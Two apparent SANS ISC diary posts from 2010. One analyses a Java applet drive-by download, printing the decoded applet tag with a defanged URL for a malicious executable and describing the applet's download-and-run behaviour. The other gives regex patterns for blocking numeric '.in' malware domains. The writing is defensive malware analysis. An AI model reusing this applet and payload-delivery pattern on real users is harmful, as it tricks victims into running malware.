Beware of strange web sites bearing gifts ...

Published: 2010-12-29
Last Updated: 2010-12-29 22:02:52 UTC
by Daniel Wesemann (Version: 1)
1 comment(s)

Following our earlier post on nasty network address ranges, ISC reader Tom wrote in with some interesting logs. His information ties a recent wave of Java exploits to several addresses in the same netblock. The latest exploits in this case start with a file called "new.htm", which contains obfuscated code as follows

This is easy to unravel - the numbers are Unicode and can be turned back into plain ASCII characters with a Perl line like this:

cat new.htm | perl -pe 's/u00(..)/chr(hex($1))/ge'

The resulting file looks as follows

applet name="Java Update" code="Polat. class" archive="Hidden. jar" height="10" width="1"
param name="url" value="hxxp://benaguasil. net/host.exe"

Yes, the above is slightly modified .. I tried to keep it plain enough that this diary can still be found via web search, but obfuscated enough to keep the less sophisticated anti-virus tools (like 90% of them) from triggering on this diary just because of the file name...

Nicely enough, we don't even have to use "jad" to decompile the Java class file - the "url" parameter passed to the applet is kinda telling all by itself. The good news is that "host.exe" already has pretty decent anti-virus coverage on VirusTotal

But .. let's look at the Polat.class file anyway.

Nothing much going on here. A lot of smoke and mirrors, but basically, this Java Applet simply downloads the URL passed as a parameter (red underlines), writes it to a temp file called "javafire.exe", and then tries to run the file (red box). If this doesn't work, the Applet creates a file named "firem.bat" containing a command to start javafire.exe, and then tries to launch the batch file.

Huh? Download and run? Shouldn't the Java Sandbox prevent this?

Sure. This "openConnection-and-run" method of drive-by download only works when it is paired with a Java exploit. Which is not the case here, the Java file is clean, and doesn't contain any exploit for a recent vulnerability. So what gives? Well, let's try it out, and see what happens...


A-ha! If you don't have any zero-days, you can always go back to exploiting the human! This is independent of the JRE version used - with JRE default settings, even on JRE1.6-23, all the user has to do is click "Run" to get owned.  The one small improvement is that the latest JREs show "Publisher: (NOT VERIFIED) Java Sun" in the pop-up, but I guess that users who read past the two exclamation marks will be bound to click "Run" anyway ...



1 comment(s)

Malware Domains, & co

Published: 2010-12-29
Last Updated: 2010-12-29 00:04:58 UTC
by Daniel Wesemann (Version: 1)
3 comment(s)

Those of you watching the malware universe have no doubt noticed the recent increase of malicious sites with ".in" domain names. The current set of names follow the four-digit and seven-digit pattern. Passive DNS Replication like RUS-CERT/BFK shows that a big chunk of these domains currently seems to point to (AS24965) and (AS50877). The former Netblock is in the Ukraine (where else), the latter likely in Moldavia. Both show up prominently on Google's filter (AS24965,AS50877), Zeustracker, Spamhaus (AS24965,AS50877) and many other sites that maintain filter lists of malicious hosts. 

An URL block system that can do regular expressions comes in pretty handy for these - \d{4}\.in and \d{7}\.in takes care of the whole lot, likely with minimal side effects, since (benign) all-numerical domain names under ".in" are quite rare. If you're into blocking entire network ranges, zapping and should nicely take care of this current as well as future badness (though with unknown side effects - we have no idea whether your neighborhood Pizza shack happens to host its perfectly harmless web site amidst all the malware in one of these netblocks :)

Keywords: malware
3 comment(s)


Diary Archives